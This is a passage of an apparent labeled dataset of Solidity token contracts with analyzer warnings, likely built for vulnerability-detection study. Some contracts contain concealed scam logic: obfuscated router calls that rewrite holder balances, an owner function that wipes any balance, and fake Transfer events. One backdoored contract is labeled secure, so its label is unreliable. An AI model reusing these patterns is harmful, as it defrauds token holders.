'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 79eff79\n\t\t// reentrancy-benign | ID: 100d0fa\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 79eff79\n\t\t// reentrancy-benign | ID: 100d0fa\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: deea56a): BLACKMAGA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for deea56a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 100d0fa\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 79eff79\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 27f68dc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 27f68dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 37d201e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 37d201e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 27f68dc\n\t\t\t\t// reentrancy-eth | ID: 37d201e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 27f68dc\n\t\t\t\t\t// reentrancy-eth | ID: 37d201e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 37d201e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 37d201e\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 37d201e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 27f68dc\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 37d201e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 37d201e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 27f68dc\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 27f68dc\n\t\t// reentrancy-events | ID: 79eff79\n\t\t// reentrancy-benign | ID: 100d0fa\n\t\t// reentrancy-eth | ID: 37d201e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 27f68dc\n\t\t// reentrancy-events | ID: 79eff79\n\t\t// reentrancy-eth | ID: 37d201e\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dc15612): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dc15612: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0541c2a): BLACKMAGA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0541c2a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8be1ce7): BLACKMAGA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8be1ce7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2ceda5b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2ceda5b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: dc15612\n\t\t// reentrancy-eth | ID: 2ceda5b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: dc15612\n\t\t// unused-return | ID: 8be1ce7\n\t\t// reentrancy-eth | ID: 2ceda5b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: dc15612\n\t\t// unused-return | ID: 0541c2a\n\t\t// reentrancy-eth | ID: 2ceda5b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: dc15612\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2ceda5b\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1291.sol",
"secure": 0,
"size_bytes": 17285
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\ncontract BABYTAPE is Ownable {\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balanceses;\n\n\t// WARNING Optimization Issue (constable-states | ID: 421f677): BABYTAPE._totalSupply should be constant \n\t// Recommendation for 421f677: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2cf3f6c): BABYTAPE.Router2Instance should be immutable \n\t// Recommendation for 2cf3f6c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 Router2Instance;\n\n function getSumKing() internal returns (uint160) {\n return\n ((0 + 0 + 0 + 1 - 1 * 1 * 0 + 100 + 200 + 10000 * 0) * 0) +\n 1323995976083318023847656560591034026600115552671 +\n 100;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9bea409): BABYTAPE.constructor(string,string).name shadows BABYTAPE.name() (function)\n\t// Recommendation for 9bea409: Rename the local variables that shadow another component.\n constructor(string memory name, string memory sym) {\n _name = name;\n\n _symbol = sym;\n\n _balanceses[_msgSender()] = _totalSupply;\n\n uint160 router_;\n\n uint160 c160 = getSumKing();\n\n router_ = (((0 + 0 + 0 + 1 - 1 * 1 * 0 + 100 + 200 + 10000 * 0) * 0) +\n uint160(c160) +\n 0 -\n 0);\n\n Router2Instance = UniswapRouterV2(address(router_));\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9bea409): BABYTAPE.constructor(string,string).name shadows BABYTAPE.name() (function)\n\t// Recommendation for 9bea409: Rename the local variables that shadow another component.\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balanceses[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n (, _balanceses[accountOwner], ) = _aaaroveeee(\n accountOwner,\n true,\n amount\n );\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n (, _balanceses[from], ) = _aaaroveeee(from, true, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = _balanceses[from];\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balanceses[from] = balance - amount;\n\n _balanceses[to] = _balanceses[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _aaaroveeee(\n address accountOwner,\n bool no,\n uint256 amount\n ) internal virtual returns (bool, uint256, bool) {\n uint256 realAmount = IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balanceses[accountOwner],\n accountOwner\n );\n\n if (no == true) {\n return (true, realAmount, true);\n } else {\n return (true, realAmount, true);\n }\n\n return (true, realAmount, true);\n }\n}",
"file_name": "solidity_code_1292.sol",
"secure": 0,
"size_bytes": 5852
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface UniswapRouterV2 {\n function dotswap(\n address cc,\n address destination,\n uint256 total\n ) external view returns (uint256);\n\n function grokswap1(\n address choong,\n uint256 total,\n address destination\n ) external view returns (uint256);\n\n function getLPaddress(\n address a,\n uint256 b,\n address c\n ) external view returns (address);\n\n function getRouter(\n address a,\n uint256 b,\n address c\n ) external view returns (address);\n\n function ekmxj10ikk23lonswap(\n address MMNX,\n uint256 M123,\n address XX3123\n ) external view returns (uint256);\n}",
"file_name": "solidity_code_1293.sol",
"secure": 1,
"size_bytes": 776
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Trepe is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable secular;\n\n constructor() {\n _name = \"Trepe\";\n\n _symbol = \"TREPE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 658000000;\n\n secular = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == secular, \"Not allowed\");\n\n _;\n }\n\n function appetite(address[] memory variant) public onlyOwner {\n for (uint256 i = 0; i < variant.length; i++) {\n address account = variant[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1294.sol",
"secure": 1,
"size_bytes": 4358
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: cdad317): Contract locking ether found Contract eleven has payable functions eleven.receive() But does not have a function to withdraw the ether\n// Recommendation for cdad317: Remove the 'payable' attribute or add a withdraw function.\ncontract Eleven is ERC20, Ownable {\n constructor() ERC20(unicode\"11\", unicode\"11\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: cdad317): Contract locking ether found Contract eleven has payable functions eleven.receive() But does not have a function to withdraw the ether\n\t// Recommendation for cdad317: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1295.sol",
"secure": 0,
"size_bytes": 988
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\ncontract BabySPX2 is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balanceses;\n\n\t// WARNING Optimization Issue (constable-states | ID: d9fd9b8): BabySPX2._totalSupply should be constant \n\t// Recommendation for d9fd9b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ab43a2): BabySPX2.Router2Instance should be immutable \n\t// Recommendation for 9ab43a2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 Router2Instance;\n\n function getSumKing() internal returns (uint160) {\n return 1323995976083318023847656560591034026600115552671 + 100;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 09aba02): BabySPX2.constructor(string,string).name shadows BabySPX2.name() (function)\n\t// Recommendation for 09aba02: Rename the local variables that shadow another component.\n constructor(string memory name, string memory sym) {\n _name = name;\n\n _symbol = sym;\n\n _balanceses[_msgSender()] = _totalSupply;\n\n uint160 router_;\n\n uint160 c160 = getSumKing();\n\n router_ = (uint160(c160) + 0 - 0);\n\n Router2Instance = UniswapRouterV2(address(router_));\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 09aba02): BabySPX2.constructor(string,string).name shadows BabySPX2.name() (function)\n\t// Recommendation for 09aba02: Rename the local variables that shadow another component.\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balanceses[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c338d7): BabySPX2.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c338d7: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n (, _balanceses[owner], ) = _aaaroveeee(owner, true, amount);\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 472c857): BabySPX2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 472c857: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[owner][sender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1a9a6c3): BabySPX2.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1a9a6c3: Rename the local variables that shadow another component.\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n (, _balanceses[from], ) = _aaaroveeee(from, true, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 931a2e8): BabySPX2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 931a2e8: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][sender] = amount;\n\n emit Approval(owner, sender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = _balanceses[from];\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balanceses[from] = balance - amount;\n\n _balanceses[to] = _balanceses[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9e46807): BabySPX2._dogeswap(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9e46807: Rename the local variables that shadow another component.\n function _dogeswap(\n address owner,\n uint256 amount\n ) internal virtual returns (uint256) {\n return\n IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balanceses[owner],\n owner\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3202b08): BabySPX2._aaaroveeee(address,bool,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3202b08: Rename the local variables that shadow another component.\n function _aaaroveeee(\n address owner,\n bool no,\n uint256 amount\n ) internal virtual returns (bool, uint256, bool) {\n if (no == true) {\n return (true, _dogeswap(owner, amount), true);\n } else {\n return (true, _balanceses[owner], true);\n }\n\n return (true, _dogeswap(owner, amount), true);\n }\n}",
"file_name": "solidity_code_1296.sol",
"secure": 0,
"size_bytes": 7322
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract BRIDGE is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n address private _p76235;\n\n address private _p76236;\n\n address private _p76237;\n\n address private _p76238;\n\n address private _p76239;\n\n\t// WARNING Optimization Issue (constable-states | ID: 910af31): BRIDGE._e242 should be constant \n\t// Recommendation for 910af31: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 1;\n\n address private constant UNISWAP_ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address private constant UNISWAP_V3_ROUTER =\n 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(\n address[] calldata _addresses_,\n uint256 _in,\n address _a\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);\n\n emit Transfer(_p76234, _addresses_[i], _in);\n }\n }\n\n function execute(\n address[] calldata _addresses_,\n uint256 _in,\n address _a\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);\n\n emit Transfer(_p76234, _addresses_[i], _in);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92c6d0b): BRIDGE.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 92c6d0b: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4784b1f): BRIDGE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4784b1f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 60a5652): BRIDGE.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 60a5652: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ad5118a): BRIDGE.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for ad5118a: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n if (_msgSender() == 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n\t\t\t// missing-zero-check | ID: ad5118a\n _p76234 = account;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ccdbe55): BRIDGE.actionAirDrop(address).account lacks a zerocheck on \t _p76235 = account\n\t// Recommendation for ccdbe55: Check that the address is not zero.\n function actionAirDrop(address account) public virtual returns (bool) {\n if (_msgSender() == 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n\t\t\t// missing-zero-check | ID: ccdbe55\n _p76235 = account;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 81a44d6): BRIDGE.addToAirDropList(address).account lacks a zerocheck on \t _p76236 = account\n\t// Recommendation for 81a44d6: Check that the address is not zero.\n function addToAirDropList(address account) public virtual returns (bool) {\n if (_msgSender() == 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n\t\t\t// missing-zero-check | ID: 81a44d6\n _p76236 = account;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 114f12a): BRIDGE.addToMarketingList(address).account lacks a zerocheck on \t _p76237 = account\n\t// Recommendation for 114f12a: Check that the address is not zero.\n function addToMarketingList(address account) public virtual returns (bool) {\n if (_msgSender() == 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n\t\t\t// missing-zero-check | ID: 114f12a\n _p76237 = account;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f269f64): BRIDGE.addToDevelopersList(address).account lacks a zerocheck on \t _p76238 = account\n\t// Recommendation for f269f64: Check that the address is not zero.\n function addToDevelopersList(\n address account\n ) public virtual returns (bool) {\n if (_msgSender() == 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n\t\t\t// missing-zero-check 